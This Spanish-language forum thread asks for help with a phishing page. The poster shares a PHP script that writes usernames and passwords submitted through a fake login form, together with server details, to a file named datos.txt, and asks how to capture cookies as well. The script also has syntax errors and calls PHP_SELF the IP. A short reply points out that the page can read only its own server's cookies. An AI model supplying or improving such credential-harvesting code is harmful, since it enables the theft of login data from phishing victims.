Duda sobre programación php phising

hola compañeros estoy haciendo una practica y me falta añadir una opcion
para que muestre la ip y el dominio y que quede almacenado
$_SERVER['PHP_SELF']
$_SERVER['SERVER_NAME']
((COMO SERIA PARA CAPTURA LA COOKIE TAMBIEN???
y para guardar estos datos en el archivo datos.txt??

<?php
//Creamos el archivo datos.txt
//ponemos tipo 'a' para añadir lineas sin borrar
$domain=$_SERVER['SERVER_NAME']
$ip=$_SERVER['PHP_SELF']
$user= $_POST['User'];
$pass= $_POST['Pass'];
$file=fopen("datos.txt","a") or die("Problemas");
  //vamos añadiendo el contenido
fwrite($file,"Usuario: ");
fwrite($file,$user);
fwrite($file,"Contraseña: ");
fwrite($file,$pass);
fwrite($file,$domain);
fwrite($file,$ip);
fclose($file);
?>

No termino de entender, si haces un código php para obtener las cookies obtendras las de tu servidor, nunca las del sitio donde estás haciendo el phishing.

Saludos.